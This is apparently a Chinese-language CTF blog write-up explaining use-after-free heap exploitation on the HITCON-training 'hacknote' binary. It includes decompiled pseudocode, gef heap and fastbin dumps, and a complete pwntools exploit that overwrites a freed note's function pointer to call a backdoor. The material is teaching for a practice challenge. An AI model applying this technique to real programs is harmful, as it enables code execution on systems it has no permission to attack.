Use After Free

July 23, 2019 PWN 访问: 24 次

漏洞介绍

顾名思义,就是使用free过后的chunk
漏洞触发点:

  • 当一个chunk被释放的时候,程序没有将指针只想Null,导致该chunk仍然可以去使用,但是程序可能会显示出错
  • 另一种就是当一个chunk被释放的时候,程序没有将指针只想Null,并通过程序可以修改已经free过后的内容,而这个chunk我们还可以使用,那么久造成逻辑漏洞

专业术语

  • dangling pointer:指没有被设置为Null的chunk指针

例子HITCON-training

程序分析

32位ELF文件,开启了NX(堆栈不可执行)、canary保护
拖入IDA中查看程序流程

main函数 ```C++ int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // eax char buf; // [esp+8h] [ebp-10h] unsigned int v5; // [esp+Ch] [ebp-Ch] v5 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); while ( 1 ) { while ( 1 ) { menu(); read(0, &buf, 4u); v3 = atoi(&buf); if ( v3 != 2 ) break; del_note(); } if ( v3 > 2 ) { if ( v3 == 3 ) { print_note(); } else { if ( v3 == 4 ) exit(0); LABEL_13: puts("Invalid choice"); } } else { if ( v3 != 1 ) goto LABEL_13; add_note(); } } } <pre><code class=""></details> <details> <summary>add_note</summary> ```C++ unsigned int add_note() { _DWORD *v0; // ebx signed int i; // [esp+Ch] [ebp-1Ch] int size; // [esp+10h] [ebp-18h] char buf; // [esp+14h] [ebp-14h] unsigned int v5; // [esp+1Ch] [ebp-Ch] v5 = __readgsdword(0x14u); if ( count <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !notelist[i] ) { notelist[i] = malloc(8u); if ( !notelist[i] ) { puts("Alloca Error"); exit(-1); } *(_DWORD *)notelist[i] = print_note_content; printf("Note size :"); read(0, &buf, 8u); size = atoi(&buf); v0 = notelist[i]; v0[1] = malloc(size); if ( !*((_DWORD *)notelist[i] + 1) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *((void **)notelist[i] + 1), size); puts("Success !"); ++count; return __readgsdword(0x14u) ^ v5; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v5; }
print_note ```C++ unsigned int print_note() { int v1; // [esp+4h] [ebp-14h] char buf; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( notelist[v1] ) (*(void (__cdecl **)(void *))notelist[v1])(notelist[v1]); return __readgsdword(0x14u) ^ v3; } <pre><code class=""></details> <details> <summary>delete_note</summary> ```C++ unsigned int del_note() { int v1; // [esp+4h] [ebp-14h] char buf; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( notelist[v1] ) { free(*((void **)notelist[v1] + 1)); free(notelist[v1]); puts("Success"); } return __readgsdword(0x14u) ^ v3; }

通过伪代码分析发现没有将free过后的chunk指针设置为NULL,从而导致了UAF漏洞
经逻辑分析和fastbin回收机制原理我们可以将note结构体中put函数所在的位置改成magic(backdoor)函数

攻击流程

  • create两个0x20的chunk,那么会出现4个chunk块(一个note需要两个chunk,一个固定8字节的来存放结构体,另一个自定义大小的chunk来存放content)
gef➤  heap chunks
Chunk(addr=0x9742008, size=0x10, flags=PREV_INUSE)
    [0x09742008     5b 86 04 08 18 20 74 09 00 00 00 00 29 00 00 00    [.... t.....)...]
Chunk(addr=0x9742018, size=0x28, flags=PREV_INUSE)
    [0x09742018     72 61 64 69 73 68 5f 31 0a 00 00 00 00 00 00 00    radish_1........]
Chunk(addr=0x9742040, size=0x10, flags=PREV_INUSE)
    [0x09742040     5b 86 04 08 50 20 74 09 00 00 00 00 29 00 00 00    [...P t.....)...]
Chunk(addr=0x9742050, size=0x28, flags=PREV_INUSE)
    [0x09742050     72 61 64 69 73 68 5f 32 0a 00 00 00 00 00 00 00    radish_2........]
Chunk(addr=0x9742078, size=0x20f90, flags=PREV_INUSE)  ←  top chunk
  • 顺序del(free)note0,note1,下面是删除之后bin中的分布
gef➤  heap chunks
Chunk(addr=0x9b5e008, size=0x10, flags=PREV_INUSE)
    [0x09b5e008     00 00 00 00 18 e0 b5 09 00 00 00 00 29 00 00 00    ............)...]
Chunk(addr=0x9b5e018, size=0x28, flags=PREV_INUSE)
    [0x09b5e018     00 00 00 00 73 68 5f 31 0a 00 00 00 00 00 00 00    ....sh_1........]
Chunk(addr=0x9b5e040, size=0x10, flags=PREV_INUSE)
    [0x09b5e040     00 e0 b5 09 50 e0 b5 09 00 00 00 00 29 00 00 00    ....P.......)...]
Chunk(addr=0x9b5e050, size=0x28, flags=PREV_INUSE)
    [0x09b5e050     10 e0 b5 09 73 68 5f 32 0a 00 00 00 00 00 00 00    ....sh_2........]
Chunk(addr=0x9b5e078, size=0x20f90, flags=PREV_INUSE)  ←  top chunk
gef➤  heap bins
[+] No Tcache in this version of libc
────────────────────────────────── Fastbins for arena 0xf7f2d780 ──────────────────────────────────
Fastbins[idx=0, size=0x8]  ←  Chunk(addr=0x9b5e040, size=0x10, flags=PREV_INUSE)  ←  Chunk(addr=0x9b5e008, size=0x10, flags=PREV_INUSE)
Fastbins[idx=1, size=0x10] 0x00
Fastbins[idx=2, size=0x18] 0x00
Fastbins[idx=3, size=0x20]  ←  Chunk(addr=0x9b5e050, size=0x28, flags=PREV_INUSE)  ←  Chunk(addr=0x9b5e018, size=0x28, flags=PREV_INUSE)
Fastbins[idx=4, size=0x28] 0x00
Fastbins[idx=5, size=0x30] 0x00
Fastbins[idx=6, size=0x38] 0x00
─────────────────────────────── Unsorted Bin for arena '*0xf7f2d780' ───────────────────────────────
[+] Found 0 chunks in unsorted bin.
──────────────────────────────── Small Bins for arena '*0xf7f2d780' ────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────── Large Bins for arena '*0xf7f2d780' ────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
  • 这时候当我们在create一个8字节的note的话,首先0x9b5e040这个会作为第一个固定大小的chunk分配出去,而我们自定义大小的chunk也是8字节,那么接着会把0x9b5e008分配给note3的content字段并且可以修改,而0x9b5e008是note1的结构体字段,那么就可以将note0结构体的put函数字段的函数地址改成magic函数地址,当调用print_note时就会调用backdoor函数,从而获取到flag

EXP:

from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'
# file=ELF("./hacknote")
# libc=ELF("./")
# ELF("/lib/x86_64-linux-gnu/libc.so.6")
debug = 0
ip = ""
prot= 0
if debug:
    sh = remote(ip, prot)
else:
    sh = process("./hacknote")
def creat(chunk_size,value):
    sh.recvuntil('Your choice :')
    sh.sendline('1')
    sh.recvuntil('Note size :')
    sh.sendline(str(chunk_size))
    sh.recvuntil('Content :')
    sh.sendline(value)
def delete(index):
    sh.recvuntil('Your choice :')
    sh.sendline('2')
    sh.recvuntil('Index :')
    sh.sendline(str(index))
def show(index):
    sh.recvuntil('Your choice :')
    sh.sendline('3')
    sh.recvuntil('Index :')
    sh.sendline(str(index))
backdoor = 0x8048986
creat(0x20,"radish_1")#0
creat(0x20,"radish_2")#1
delete(0)
delete(1)
# gdb.attach(sh)
creat(8,p32(backdoor))
show(0)
sh.interactive()

参考文章

CTF-wiki

添加新评论